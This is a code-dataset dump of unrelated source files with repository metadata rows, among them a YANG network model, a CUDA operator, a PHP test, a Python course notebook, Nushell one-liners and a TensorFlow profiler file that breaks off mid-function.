mandatory false;
}
}
typedef resource-type-enum {
type enumeration {
enum "other" {
value 1;
description
"Resource of type not found in list.";
}
enum "device" {
value 2;
description
"device - ROAMD, Xponder, etc";
}
enum "degree" {
value 3;
description
"degree";
}
enum "shared-risk-group" {
value 4;
description
"shared-risk-group";
}
enum "connection" {
value 5;
description
"connection";
}
enum "connection-map" {
value 6;
description
"connection-map";
}
enum "port" {
value 7;
description
"port";
}
enum "circuit-pack" {
value 8;
description
"circuit pack";
}
enum "internal-link" {
value 9;
description
"internal-link";
}
enum "physical-link" {
value 10;
description
"physical-link";
}
enum "interface" {
value 11;
description
"interface";
}
enum "shelf" {
value 12;
description
"shelf";
}
enum "service" {
value 13;
description
"service";
}
}
}
grouping device-id {
description
"Device identifier. Unique within the Controller.";
leaf node-id {
description
"Node Id is a globally unique identifier for a device.
Same as leafref value in model, if applicable.";
type string;
}
}
grouping circuit-pack-name {
leaf circuit-pack-name {
description
"Circuit-Pack identifier. Unique within the context of a device.
Same as leafref value in model, if applicable.";
type string;
mandatory true;
}
}
grouping port-name {
uses circuit-pack-name;
leaf port-name {
description
"Port identifier. Unique within the context of a circuit-pack.
Same as leafref value in model, if applicable.";
type string;
}
}
grouping physical-link-name {
leaf physical-link-name {
description
"Physical Link identifier. Unique within the context of a device.
Same as leafref value in model, if applicable.";
type string;
mandatory true;
}
}
grouping internal-link-name {
leaf internal-link-name {
description
"Internal Link identifier. Unique within the context of a device.
Same as leafref value in model, if applicable.";
type string;
mandatory true;
}
}
grouping connection-number {
leaf connection-number {
description
"Connection identifier. Unique within the context of a device.
Same as leafref value in model, if applicable.";
type string;
}
}
grouping degree-number {
leaf degree-number {
description
"Degree identifier. Unique within the context of a device.
Same as leafref value in model, if applicable.";
type uint16;
}
}
grouping srg-number {
leaf srg-number {
description
"Shared Risk Group identifier. Unique within the context of a device.
Same as leafref value in model, if applicable.";
type uint16;
}
}
grouping shelf-name {
leaf shelf-name {
description
"Shelf-id identifier. Unique within the context of a device.
Same as leafref value in model, if applicable.";
type string;
mandatory true;
}
}
grouping service-name {
leaf service-name {
description
"Service identifier. Unique within the context of a network.
Same as leafref value in model, if applicable.";
type string;
mandatory true;
}
}
grouping interface-name {
leaf interface-name {
description
"Interface identifier.";
type string;
mandatory true;
}
}
typedef resource-notification-type {
description
"Type of notification about a resource";
type enumeration {
enum "resourceCreation" {
value 1;
description
"A new instance of a resource has been created.";
}
enum "resourceModification" {
value 2;
description
"An exhisting instance of a resource has been modified. This shall be triggered by changes in configuration, state, status etc.
It shall not be triggered by changes in performance measurements, power and temperature readings or any other data that is highlyvolatile. ";
}
enum "resourceDeletion" {
value 3;
description
"An exhisting instance of a resource has been removed.";
}
}
}
}
| YANG | 5 | ariscahyadi/onos-1.14-with-indopronos-app | models/openroadm/src/main/yang/org-openroadm-resource-types@2016-10-14.yang | [
"Apache-2.0"
] |
require "../abi"
# Based on https://github.com/rust-lang/rust/blob/29ac04402d53d358a1f6200bea45a301ff05b2d1/src/librustc_trans/trans/cabi_x86_win64.rs
class LLVM::ABI::X86_Win64 < LLVM::ABI::X86
private def compute_arg_types(atys, context)
atys.map do |t|
case t.kind
when Type::Kind::Struct
size = target_data.abi_size(t)
case size
when 1 then ArgType.direct(t, context.int8)
when 2 then ArgType.direct(t, context.int16)
when 4 then ArgType.direct(t, context.int32)
when 8 then ArgType.direct(t, context.int64)
else ArgType.indirect(t, nil)
end
else
non_struct(t, context)
end
end
end
end
| Crystal | 4 | n00p3/crystal | src/llvm/abi/x86_win64.cr | [
"Apache-2.0"
] |
\data\
ngram 1= 4
ngram 2= 3
ngram 3= 2
\1-grams:
-1.716003 <s> -0.576253
-1.062791 Ahmet -0.316824
-1.062791 elma -0.617854
-0.975641 yedi -1.191886
\2-grams:
-0.455510 <s> Ahmet -0.226396
-0.770464 Ahmet elma -0.124939
-0.530704 elma yedi -0.176091
\3-grams:
-0.851937 <s> Ahmet elma
-0.903090 Ahmet elma yedi
\end\
| DNS Zone | 2 | flower-gardener/zemberek-nlp | lm/src/test/resources/nano.arpa | [
"ECL-2.0",
"Apache-2.0",
"BSD-3-Clause"
] |
package com.baeldung.jupiter;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import org.springframework.context.support.PropertySourcesPlaceholderConfigurer;
@Configuration
public class TestConfig {
@Bean
static PropertySourcesPlaceholderConfigurer placeholderConfigurer() {
return new PropertySourcesPlaceholderConfigurer();
}
@Bean
Task taskName() {
return new Task("taskName", 1);
}
}
| Java | 4 | scharanreddy/tutorials | spring-5/src/main/java/com/baeldung/jupiter/TestConfig.java | [
"MIT"
] |
#include "caffe2/operators/moments_op.h"
#include <array>
#include <functional>
#include "caffe2/core/context_gpu.h"
#include "caffe2/utils/fixed_divisor.h"
namespace caffe2 {
namespace {
template <typename T, int D>
__global__ void ComputeMomentsGradientCUDAKernel(
const int X_size,
const SimpleArray<int, D> Y_strides,
const SimpleArray<FixedDivisor<int>, D> X_dims,
const T scale,
const T* dmean,
const T* dvariance,
const T* X,
const T* mean,
T* dX) {
CUDA_1D_KERNEL_LOOP(X_index, X_size) {
int Y_index = 0;
int X_index_val = X_index;
#pragma unroll
for (int i = D - 1; i >= 0; --i) {
int d;
X_dims.data[i].DivMod(X_index_val, &X_index_val, &d);
Y_index += d * Y_strides.data[i];
}
#if __CUDA_ARCH__ >= 350
dX[X_index] =
(__ldg(dmean + Y_index) +
static_cast<T>(2) * (__ldg(X + X_index) - __ldg(mean + Y_index)) *
__ldg(dvariance + Y_index)) *
scale;
#else
dX[X_index] = (dmean[Y_index] +
static_cast<T>(2) * (X[X_index] - mean[Y_index]) *
dvariance[Y_index]) *
scale;
#endif
}
}
template <typename T, int D>
void ComputeMomentsGradientCUDAImpl(
const int* Y_dims,
const int* X_dims,
const T* dmean,
const T* dvariance,
const T* X,
const T* mean,
T* dX,
CUDAContext* context) {
SimpleArray<int, D> Y_strides_array;
SimpleArray<FixedDivisor<int>, D> X_dims_array;
int cur_stride = 1;
for (int i = D - 1; i >= 0; --i) {
if (X_dims[i] == 0) {
return;
}
Y_strides_array.data[i] = Y_dims[i] == 1 ? 0 : cur_stride;
X_dims_array.data[i] = FixedDivisor<int>(X_dims[i]);
cur_stride *= Y_dims[i];
}
const int Y_size =
std::accumulate(Y_dims, Y_dims + D, 1, std::multiplies<int>());
const int X_size =
std::accumulate(X_dims, X_dims + D, 1, std::multiplies<int>());
const T scale = static_cast<T>(Y_size) / static_cast<T>(X_size);
ComputeMomentsGradientCUDAKernel<T, D>
<<<CAFFE_GET_BLOCKS(X_size),
CAFFE_CUDA_NUM_THREADS,
0,
context->cuda_stream()>>>(
X_size,
Y_strides_array,
X_dims_array,
scale,
dmean,
dvariance,
X,
mean,
dX);
C10_CUDA_KERNEL_LAUNCH_CHECK();
}
} // namespace
template <>
bool MomentsGradientOp<float, CUDAContext>::Compute(
const std::vector<int>& dY_dims,
const std::vector<int>& dX_dims,
const float* dmean_data,
const float* dvariance_data,
const float* X_data,
const float* mean_data,
float* dX_data) {
const int ndim = dY_dims.size();
DISPATCH_FUNCTION_BY_VALUE_WITH_TYPE_1(
ndim,
ComputeMomentsGradientCUDAImpl,
float,
dY_dims.data(),
dX_dims.data(),
dmean_data,
dvariance_data,
X_data,
mean_data,
dX_data,
&context_);
return true;
}
REGISTER_CUDA_OPERATOR(Moments, MomentsOp<float, CUDAContext>);
REGISTER_CUDA_OPERATOR(MomentsGradient, MomentsGradientOp<float, CUDAContext>);
} // namespace caffe2
| Cuda | 4 | Hacky-DH/pytorch | caffe2/operators/moments_op.cu | [
"Intel"
] |
--TEST--
Test ctype_print() function : basic functionality
--EXTENSIONS--
ctype
--FILE--
<?php
echo "*** Testing ctype_print() : basic functionality ***\n";
$orig = setlocale(LC_CTYPE, "C");
$c1 = "Hello, World!";
$c2 = null;
var_dump(ctype_print($c1));
var_dump(ctype_print($c2));
setlocale(LC_CTYPE, $orig);
?>
--EXPECTF--
*** Testing ctype_print() : basic functionality ***
bool(true)
Deprecated: ctype_print(): Argument of type null will be interpreted as string in the future in %s on line %d
bool(false)
| PHP | 4 | NathanFreeman/php-src | ext/ctype/tests/ctype_print_basic.phpt | [
"PHP-3.01"
] |
"use strict";
var _interopRequireDefault = require("@babel/runtime/helpers/interopRequireDefault");
Object.defineProperty(exports, "__esModule", {
value: true
});
exports.default = void 0;
var _createSvgIcon = _interopRequireDefault(require("./utils/createSvgIcon"));
var _jsxRuntime = require("react/jsx-runtime");
var _default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)("path", {
d: "M8.56 14h6.89c.26-.45.44-.96.51-1.5h-7.9c.06.54.23 1.05.5 1.5zM12 16c1.01 0 1.91-.39 2.62-1H9.38c.71.61 1.61 1 2.62 1zm0-8c-1.01 0-1.91.39-2.62 1h5.24c-.71-.61-1.61-1-2.62-1zm-3.44 2c-.26.45-.44.96-.51 1.5h7.9c-.07-.54-.24-1.05-.51-1.5H8.56z"
}, "0"), /*#__PURE__*/(0, _jsxRuntime.jsx)("path", {
d: "M3 3v18h18V3H3zm9 15c-3.31 0-6-2.69-6-6s2.69-6 6-6 6 2.69 6 6-2.69 6-6 6z"
}, "1")], 'HvacSharp');
exports.default = _default; | JavaScript | 4 | good-gym/material-ui | packages/material-ui-icons/lib/HvacSharp.js | [
"MIT"
] |
#!/usr/bin/nu
# I actually use it as a part of my startup, so I am not really sure how to pack it, yet I wouldd like to contribute
#-------------------------------------------------------------------------------------------------------------------------------
#
# How to use?
#-------------------------------------------------
#1) Add desired paths to the cdpath variable
#2) Use in your shell: $c [directory]
#2.5) You *have to* use an argument. If you wish to simply $cd, use $cd command.
#3) If the path exists, you will cd into the first match found (the command is iterating over the list in the correct order,
# i.e. first element is being iterated overin the first place)
#3.5) But if path does not exist, you will receive a proper echo.
#-----------------------------------------------------------------------------------------------------------------------------------
#
#Written by skelly37
#------------------------
startup = [
"let cdpath = [. /place/your ~/cdpath/here ]",
"def c [dir] { let wd = (pwd); for element in $cdpath {if (pwd) == $wd {cd $element; for directory in (ls -a | select name type | each { if $it.type == Dir {echo $it.name} {} } ) {if $dir == $directory {cd $dir} {}}; if (pwd) == $element {cd $wd} {}} {}}; if (pwd) == $wd {cd $wd; echo \"No such path!\"} {}}",
]
| Nu | 3 | lily-mara/nu_scripts | cool_oneliners/cdpath-implementation.nu | [
"MIT"
] |
// Copyright 2010-2015 RethinkDB, all rights reserved.
#ifndef CONCURRENCY_EXPONENTIAL_BACKOFF_HPP_
#define CONCURRENCY_EXPONENTIAL_BACKOFF_HPP_
#include "arch/timing.hpp"
class exponential_backoff_t {
public:
exponential_backoff_t(
uint64_t _mnbm, uint64_t _mxbm, double _ff = 1.5, double _sf = 0.0) :
min_backoff_ms(_mnbm), max_backoff_ms(_mxbm), fail_factor(_ff),
success_factor(_sf), backoff_ms(0)
{ }
void failure(signal_t *interruptor) {
if (backoff_ms == 0) {
coro_t::yield();
backoff_ms = min_backoff_ms;
} else {
nap(backoff_ms, interruptor);
guarantee(static_cast<uint64_t>(backoff_ms * fail_factor) > backoff_ms,
"rounding screwed it up");
backoff_ms *= fail_factor;
if (backoff_ms > max_backoff_ms) {
backoff_ms = max_backoff_ms;
}
}
}
void success() {
guarantee(static_cast<uint64_t>(backoff_ms * success_factor) < backoff_ms
|| backoff_ms == 0, "rounding screwed it up");
backoff_ms *= success_factor;
if (backoff_ms < min_backoff_ms) {
backoff_ms = 0;
}
}
private:
const uint64_t min_backoff_ms, max_backoff_ms;
const double fail_factor, success_factor;
uint64_t backoff_ms;
};
#endif /* CONCURRENCY_EXPONENTIAL_BACKOFF_HPP_ */
| C++ | 4 | zadcha/rethinkdb | src/concurrency/exponential_backoff.hpp | [
"Apache-2.0"
] |
# Axis
v -168.528413877983 49.982798466129 -169.689195501779
v -198.656987988408 40.5465207970757 -159.382555148643
v -205.026801281859 18.7109389957435 -142.116251932928
v -210.567265898051 -5.79832295290325 -126.661108962861
v -198.530794601416 -34.7512743649006 -106.112813582553
v -167.277348606649 -50.6733684097138 -92.0365621997494
v -140.204868350882 -39.2529280515293 -92.2423062660806
v -113.573645566374 -9.54660774045278 -99.3840592542243
v -87.3247966738246 34.3103793215069 -119.008179519747
v -69.7223849624347 47.7953375722231 -156.733421191266
v -77.6949672279266 15.4541984450246 -198.311696892847
v -106.778209597196 -27.2223462806723 -205.742096149404
v -129.097168456124 -53.1978391479091 -196.815293970182
v -157.938672631867 -24.1553383388507 -147.982399973359
v -159.915397090725 21.6821398090074 -115.667850989271
v -141.804943890979 51.6575213185865 -77.40290747814
v -108.099998312767 33.1231481821307 -54.8818173122167
v -84.243909807366 -6.74643178452769 -60.0285295778347
v -69.4991791527154 -49.9249893352994 -105.312931987052
v -103.013702829516 -17.7475976229985 -150.601209468977
v -134.881183604627 33.4952837049673 -168.382645084013
v -159.697447729703 23.844202320427 -111.236958358605
l 1 2
l 2 3
l 3 4
l 4 5
l 5 6
l 6 7
l 7 8
l 8 9
l 9 10
l 10 11
l 11 12
l 12 13
l 13 14
l 14 15
l 15 16
l 16 17
l 17 18
l 18 19
l 19 20
l 20 21
l 21 1
l 1 22
l 22 15
s 0
s 1
s 2
s 3
s 4
s 5
s 6
s 7
s 8
s 9
s 10
s 11
s 12
s 13
s 14
s 15
s 16
s 17
s 18
s 19
s 20
s 21
s 22
o
| NetLinx | 3 | liuxinren/TopoMender | TopoMender_MendIT/sktfile.axs | [
"MIT"
] |
class A <<!ELEMENT!>, <!ELEMENT!>>
where <!ELEMENT!> : CharSequence,
<!ELEMENT!> : Comparable<<!ELEMENT!>>
annotation class B <<!ELEMENT!>>
where <!ELEMENT!> : CharSequence,
@A<List<Nothing?>> @B <!ELEMENT!> : Comparable<<!ELEMENT!>>
annotation class C <<!ELEMENT!>, <!ELEMENT!>> where @property:C <!ELEMENT!> : CharSequence, <!ELEMENT!> : Comparable<<!ELEMENT!>>
fun <<!ELEMENT!>, <!ELEMENT!>> d(): Boolean
where <!ELEMENT!> : Any,
<!ELEMENT!> : Iterable<*>,
<!ELEMENT!> : Collection<*>,
<!ELEMENT!> : MutableCollection<*>,
<!ELEMENT!> : Comparable<<!ELEMENT!>> = <!ELEMENT!> == <!ELEMENT!> | Kotlin | 0 | punzki/kotlin | compiler/tests-spec/testData/psi/templates/identifiers/typeConstraint.kt | [
"ECL-2.0",
"Apache-2.0"
] |
{
"cells": [
{
"cell_type": "markdown",
"metadata": {
"slideshow": {
"slide_type": "slide"
}
},
"source": [
"# Python编程环境"
]
},
{
"cell_type": "markdown",
"metadata": {
"slideshow": {
"slide_type": "slide"
}
},
"source": [
"## Guido Van Rossum和版本 "
]
},
{
"cell_type": "markdown",
"metadata": {
"slideshow": {
"slide_type": "slide"
}
},
"source": [
"### [Guido](https://gvanrossum.github.io/)是[Python](https://www.python.org/)的作者\n"
]
},
{
"cell_type": "markdown",
"metadata": {
"slideshow": {
"slide_type": "fragment"
}
},
"source": [
"在下面的访谈中,[Peter Norvig](https://en.wikipedia.org/wiki/Peter_Norvig)也没有念对他的名字,Guido的主页有它的荷兰语发音。\n",
"<br><br>"
]
},
{
"cell_type": "markdown",
"metadata": {
"slideshow": {
"slide_type": "fragment"
}
},
"source": [
"<video width=\"80%\" controls src=\"http://bazhou.blob.core.windows.net/learning/mpp/142_Guido_Van_Rossum.mp4\" />"
]
},
{
"cell_type": "markdown",
"metadata": {
"slideshow": {
"slide_type": "subslide"
}
},
"source": [
">他在[stackoverflow](https://stackoverflow.com/users/818274/guido-van-rossum)和[github](https://github.com/gvanrossum)上非常活跃。他的[twitter](https://twitter.com/gvanrossum)更新很勤。\n",
"\n",
""
]
},
{
"cell_type": "markdown",
"metadata": {
"slideshow": {
"slide_type": "slide"
}
},
"source": [
"- 抛开Python的[前世、今生和未来](http://bazhou.blob.core.windows.net/learning/mpp/python-past-present-and-future-with-guido-van-rossum.mp3) 第一个现实问题是:版本。\n",
"- Python有两个版本:2和3。\n",
"- 我们用版本3,再确切些,3.6.5。\n",
"- 版本问题会引起很大的麻烦,这门课的解决方法是Docker。"
]
},
{
"cell_type": "markdown",
"metadata": {
"slideshow": {
"slide_type": "subslide"
}
},
"source": [
"### 我们使用Python[3.6](https://docs.python.org/3/whatsnew/3.6.html)"
]
},
{
"cell_type": "markdown",
"metadata": {
"slideshow": {
"slide_type": "slide"
}
},
"source": [
"## Shell Script REPL"
]
},
{
"cell_type": "markdown",
"metadata": {
"slideshow": {
"slide_type": "fragment"
}
},
"source": [
"- Shell 命令输入处"
]
},
{
"cell_type": "markdown",
"metadata": {
"slideshow": {
"slide_type": "fragment"
}
},
"source": [
"- Script 命令"
]
},
{
"cell_type": "markdown",
"metadata": {
"slideshow": {
"slide_type": "fragment"
}
},
"source": [
"- REPL Read-Evaluate-Print-Loop"
]
},
{
"cell_type": "markdown",
"metadata": {
"slideshow": {
"slide_type": "subslide"
}
},
"source": [
"### 挑战:获得这门课程的词汇表"
]
},
{
"cell_type": "markdown",
"metadata": {
"slideshow": {
"slide_type": "fragment"
}
},
"source": [
"- 17段视频的字幕文件"
]
},
{
"cell_type": "markdown",
"metadata": {
"slideshow": {
"slide_type": "fragment"
}
},
"source": [
""
]
},
{
"cell_type": "markdown",
"metadata": {
"slideshow": {
"slide_type": "subslide"
}
},
"source": [
"- 输入数据[例子](http://bazhou.blob.core.windows.net/learning/mpp/msxpy/16_253_6.2-wCnbczfN91s.txt)\n",
"\n",
"4\n",
"\n",
"00:00:14,010 --> 00:00:19,009\n",
"\n",
"In practice, you'll be working with data of\n",
"different types: numerical values, strings,\n",
"\n",
"5\n",
"\n",
"00:00:19,009 --> 00:00:21,279\n",
"\n",
"booleans and so on.\n"
]
},
{
"cell_type": "markdown",
"metadata": {
"slideshow": {
"slide_type": "subslide"
}
},
"source": [
"- 用管道连接脚本"
]
},
{
"cell_type": "markdown",
"metadata": {
"slideshow": {
"slide_type": "fragment"
}
},
"source": [
"```bash\n",
"cat *.txt|./clean.sh #清洗字幕文件,分词\n",
"```"
]
},
{
"cell_type": "markdown",
"metadata": {
"slideshow": {
"slide_type": "fragment"
}
},
"source": [
"```bash\n",
"cat *.txt|./clean.sh|sort|uniq #去掉重复,排序\n",
"```"
]
},
{
"cell_type": "markdown",
"metadata": {
"slideshow": {
"slide_type": "fragment"
}
},
"source": [
"```bash\n",
"cat *.txt|./clean.sh|sort|uniq|wc #统计单词数\n",
"```"
]
},
{
"cell_type": "markdown",
"metadata": {
"slideshow": {
"slide_type": "subslide"
}
},
"source": [
"- 清洗字幕脚本 [clean.sh](http://bazhou.blob.core.windows.net/learning/mpp/msxpy/clean.sh)\n",
"\n",
"```bash\n",
"#!/bin/sh\n",
"tr '[:blank:]' '\\n'|tr '[:upper:]' '[:lower:]'|tr -d '\\r'|grep -vE \"'\"|grep -vE \"\\.\"|tr -d '[:punct:]'|grep -vE \"^[^a-zA-Z].*\"|grep -vE \".*[0-9].*\"\n",
"\n",
"```"
]
},
{
"cell_type": "markdown",
"metadata": {
"slideshow": {
"slide_type": "slide"
}
},
"source": [
"## Jupyter\n",
"\n",
"[命名](https://news.ycombinator.com/item?id=16978364)\n",
""
]
},
{
"cell_type": "markdown",
"metadata": {
"slideshow": {
"slide_type": "subslide"
}
},
"source": [
"## Jupyter\n",
"\n",
">Jupyter像Shell一样,在cell里编辑,在cell里运行,循环往复\n",
"\n",
"- R 编辑cell,Enter\n",
"- E 运行cell,Shift+Enter\n",
"- P 打印cell\n",
"- L 下个cell\n",
"\n"
]
},
{
"cell_type": "code",
"execution_count": 39,
"metadata": {
"slideshow": {
"slide_type": "subslide"
}
},
"outputs": [
{
"name": "stdout",
"output_type": "stream",
"text": [
"hello world\n"
]
}
],
"source": [
"print(\"hello world\")"
]
},
{
"cell_type": "markdown",
"metadata": {
"slideshow": {
"slide_type": "subslide"
}
},
"source": []
}
],
"metadata": {
"celltoolbar": "Slideshow",
"kernelspec": {
"display_name": "Python 3",
"language": "python",
"name": "python3"
},
"language_info": {
"codemirror_mode": {
"name": "ipython",
"version": 3
},
"file_extension": ".py",
"mimetype": "text/x-python",
"name": "python",
"nbconvert_exporter": "python",
"pygments_lexer": "ipython3",
"version": "3.6.5"
},
"livereveal": {
"scroll": true
},
"rise": {
"enable_chalkboard": true
}
},
"nbformat": 4,
"nbformat_minor": 2
}
| Jupyter Notebook | 3 | microsoft/ai-edu | 基础教程/A1-Python与基础知识/Python基础/01_编程环境.ipynb | [
"Apache-2.0"
] |
## Formalising preorder
\begin{code}
record IsPreorder {A : Set} (_≤_ : A → A → Set) : Set where
field
reflexive : ∀ {x : A} → x ≤ x
trans : ∀ {x y z : A} → x ≤ y → y ≤ z → x ≤ z
IsPreorder-≤ : IsPreorder _≤_
IsPreorder-≤ =
record
{ reflexive = ≤-refl
; trans = ≤-trans
}
record Preorder : Set₁ where
field
A : Set
_≺_ : A → A → Set
isPre : IsPreorder _≺_
\end{code}
| Literate Agda | 5 | manikdv/plfa.github.io | extra/extra/Preorder.lagda | [
"CC-BY-4.0"
] |
strict digraph kdf {
bgcolor="transparent";
begin [label=start, color="#deeaee", style="filled"];
newed [label="newed", fontcolor="#c94c4c", style="solid"];
deriving [label="deriving", fontcolor="#c94c4c"];
end [label="freed", color="#deeaee", style="filled"];
begin -> newed [label="EVP_KDF_CTX_new"];
newed -> deriving [label="EVP_KDF_derive"];
deriving -> deriving [label="EVP_KDF_derive", style=dashed];
deriving -> end [label="EVP_KDF_CTX_free"];
deriving -> newed [label="EVP_KDF_CTX_reset", style=dashed,
color="#034f84", fontcolor="#034f84"];
}
| Graphviz (DOT) | 4 | pmesnier/openssl | doc/life-cycles/kdf.dot | [
"Apache-2.0"
] |
print "Hello world!\n"
end
| Parrot Assembly | 0 | LaudateCorpus1/RosettaCodeData | Task/Hello-world-Text/PASM/hello-world-text.pasm | [
"Info-ZIP"
] |
# transform the aligned text output of aws s3 ls into something useful
# presumes you have the aws CLI
aws s3 ls s3://your-bucket-and-path | lines | each { echo $it | str find-replace ' ' ' ' | str find-replace ' ' ' ' } | split column ' '
| Nu | 3 | x3rAx/nu_scripts | cool_oneliners/parse_aws_s3_ls.nu | [
"MIT"
] |
/* Copyright 2020 The TensorFlow Authors. All Rights Reserved.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
==============================================================================*/
#include "tensorflow/core/profiler/utils/derived_timeline.h"
#include <algorithm>
#include <utility>
#include <vector>
#include "absl/algorithm/container.h"
#include "absl/container/flat_hash_map.h"
#include "absl/strings/match.h"
#include "absl/strings/str_cat.h"
#include "absl/strings/str_split.h"
#include "absl/strings/string_view.h"
#include "absl/types/optional.h"
#include "tensorflow/core/lib/gtl/map_util.h"
#include "tensorflow/core/platform/path.h"
#include "tensorflow/core/platform/types.h"
#include "tensorflow/core/profiler/protobuf/xplane.pb.h"
#include "tensorflow/core/profiler/utils/group_events.h"
#include "tensorflow/core/profiler/utils/tf_op_utils.h"
#include "tensorflow/core/profiler/utils/tf_xplane_visitor.h"
#include "tensorflow/core/profiler/utils/time_utils.h"
#include "tensorflow/core/profiler/utils/timespan.h"
#include "tensorflow/core/profiler/utils/trace_utils.h"
#include "tensorflow/core/profiler/utils/xplane_builder.h"
#include "tensorflow/core/profiler/utils/xplane_schema.h"
#include "tensorflow/core/profiler/utils/xplane_utils.h"
#include "tensorflow/core/profiler/utils/xplane_visitor.h"
namespace tensorflow {
namespace profiler {
namespace {
const absl::string_view kAnnotationDelimiter = "::";
XEvent CreateXEvent(const XEventMetadata& metadata, int64_t offset_ps,
int64_t duration_ps, int64_t group_id_stat_metadata_id,
absl::optional<int64_t> group_id) {
XEvent event;
event.set_metadata_id(metadata.id());
// TODO(b/150498419): Normalize with the line start time.
event.set_offset_ps(offset_ps);
event.set_duration_ps(duration_ps);
if (group_id) {
XStat* stat = event.add_stats();
stat->set_metadata_id(group_id_stat_metadata_id);
stat->set_int64_value(*group_id);
}
return event;
}
int64_t GroupIdOrInvalid(absl::optional<int64_t> group_id) {
if (group_id)
return *group_id;
else
return DerivedXLineBuilder::kInvalidGroupId;
}
} // namespace
void ProcessTfOpEvent(absl::string_view tf_op_full_name,
absl::string_view low_level_event_name, int64_t offset_ps,
int64_t duration_ps, absl::optional<int64_t> group_id,
XPlaneBuilder* plane_builder,
DerivedXLineBuilder* tf_name_scope_line_builder,
DerivedXLineBuilder* tf_op_line_builder) {
int64_t group_id_stat_metadata_id =
plane_builder->GetOrCreateStatMetadata(GetStatTypeStr(StatType::kGroupId))
->id();
TfOp tf_op = ParseTfOpFullname(tf_op_full_name);
Category category = tf_op.category;
int64_t group_id_or_invalid = GroupIdOrInvalid(group_id);
if (category == Category::kTensorFlow || category == Category::kJax) {
std::vector<XEvent> name_scope_event_per_level;
for (const auto& tf_name_scope : ParseTfNameScopes(tf_op)) {
name_scope_event_per_level.push_back(CreateXEvent(
*plane_builder->GetOrCreateEventMetadata(tf_name_scope), offset_ps,
duration_ps, group_id_stat_metadata_id, group_id));
}
tf_name_scope_line_builder->ExpandOrAddEvents(
name_scope_event_per_level, group_id_or_invalid, low_level_event_name);
}
XEventMetadata* tf_op_event_metadata =
plane_builder->GetOrCreateEventMetadata(tf_op_full_name);
// Set the display name to op_type so that the events of the same op_type have
// the same color in the trace viewer.
tf_op_event_metadata->set_display_name(TfOpEventName(tf_op));
tf_op_line_builder->ExpandOrAddEvent(
CreateXEvent(*tf_op_event_metadata, offset_ps, duration_ps,
group_id_stat_metadata_id, group_id),
group_id_or_invalid, low_level_event_name);
}
DerivedXLineBuilder::DerivedXLineBuilder(
XPlaneBuilder* plane, int64_t line_id, absl::string_view name,
int64_t timestamp_ns, std::vector<DerivedXLineBuilder*> dependent_lines)
: line_(plane->GetOrCreateLine(line_id)) {
line_.SetName(name);
line_.SetTimestampNs(timestamp_ns);
dependent_lines_ = std::move(dependent_lines);
}
void DerivedXLineBuilder::ExpandOrAddLevelEvent(
const XEvent& event, int64_t group_id,
absl::string_view low_level_event_name, int level) {
int64_t offset_ps = event.offset_ps();
int64_t duration_ps = event.duration_ps();
auto& last_event = last_event_by_level_[level];
// If last_event is not nullptr, its offset must be less than or equal to
// the given event's offset.
DCHECK(!last_event || last_event->OffsetPs() <= offset_ps);
auto& last_eventinfo = last_eventinfo_by_level_[level];
bool merge_last_event = false;
if (last_event && last_event->MetadataId() == event.metadata_id()) {
// If last_event is not nullptr and metadata is same, merge the given
// event into last_event.
DCHECK(last_eventinfo); // last_eventinfo must be valid as well.
// Merges event with last_event if (1) they have the same group_id
// and (2) low_level_event_name hasn't been seen before. If
// low_level_event has been seen before, event and last_event are actually
// different invocations of the same Op, and so they shouldn't be merged.
merge_last_event =
(group_id == last_eventinfo->group_id) &&
!last_eventinfo->low_level_event_names.contains(low_level_event_name);
}
if (merge_last_event) {
// Merge event with last_event.
last_event->SetDurationPs((offset_ps + duration_ps) -
last_event->OffsetPs());
if (!low_level_event_name.empty()) {
// One more low_level_event_name associated with last_event.
last_eventinfo->low_level_event_names.insert(
std::string(low_level_event_name));
}
} else {
// Otherwise, reset the last events lower than or equal to the given level.
ResetLastEvents(level);
// And create a new event for the given level.
last_event = line_.AddEvent(event);
// Also create a new XEventInfo for this level.
last_eventinfo = XEventInfo(group_id, low_level_event_name);
}
}
void DerivedXLineBuilder::ResetLastEvents(int level) {
for (int i = level, end = last_event_by_level_.size(); i < end; ++i) {
last_event_by_level_[i] = absl::nullopt;
last_eventinfo_by_level_[i] = absl::nullopt;
}
if (level == 0) ResetDependentLines();
}
void DeriveEventsFromAnnotations(const SymbolResolver& symbol_resolver,
const GroupMetadataMap& group_metadata_map,
XPlane* device_trace, bool step_info_only) {
// Merge and sort events by Timespan as they come from different lines.
std::vector<XEventVisitor> events;
uint64 start_timestamp_ns = 0;
XPlaneVisitor device_plane = CreateTfXPlaneVisitor(device_trace);
device_plane.ForEachLine([&](const XLineVisitor& line) {
if (IsDerivedThreadId(line.Id())) return; // Skip overhead line.
start_timestamp_ns = line.TimestampNs();
line.ForEachEvent(
[&](const XEventVisitor& event) { events.push_back(event); });
});
absl::c_sort(events);
XPlaneBuilder plane(device_trace);
DerivedXLineBuilder tf_ops(&plane, kThreadIdTfOp, kTensorFlowOpLineName,
start_timestamp_ns, {});
DerivedXLineBuilder tf_name_scope(&plane, kThreadIdTfNameScope,
kTensorFlowNameScopeLineName,
start_timestamp_ns, {&tf_ops});
DerivedXLineBuilder hlo_ops(&plane, kThreadIdHloOp, kXlaOpLineName,
start_timestamp_ns, {});
DerivedXLineBuilder hlo_modules(&plane, kThreadIdHloModule,
kXlaModuleLineName, start_timestamp_ns,
{&tf_name_scope, &hlo_ops});
DerivedXLineBuilder steps(&plane, kThreadIdStepInfo, kStepLineName,
start_timestamp_ns, {&hlo_modules});
DerivedXLineBuilder source(&plane, kThreadIdSource, kSourceLineName,
start_timestamp_ns, {});
int64_t group_id_stat_metadata_id =
plane.GetOrCreateStatMetadata(GetStatTypeStr(StatType::kGroupId))->id();
int64_t step_name_stat_metadata_id =
plane.GetOrCreateStatMetadata(GetStatTypeStr(StatType::kStepName))->id();
// Process events in order by start time.
for (const XEventVisitor& event : events) {
int64_t offset_ps = event.OffsetPs();
int64_t duration_ps = event.DurationPs();
absl::string_view tf_op_full_name;
absl::string_view hlo_module_name;
absl::optional<uint64_t> program_id;
std::vector<absl::string_view> hlo_op_names;
absl::optional<int64_t> group_id;
bool is_kernel = false;
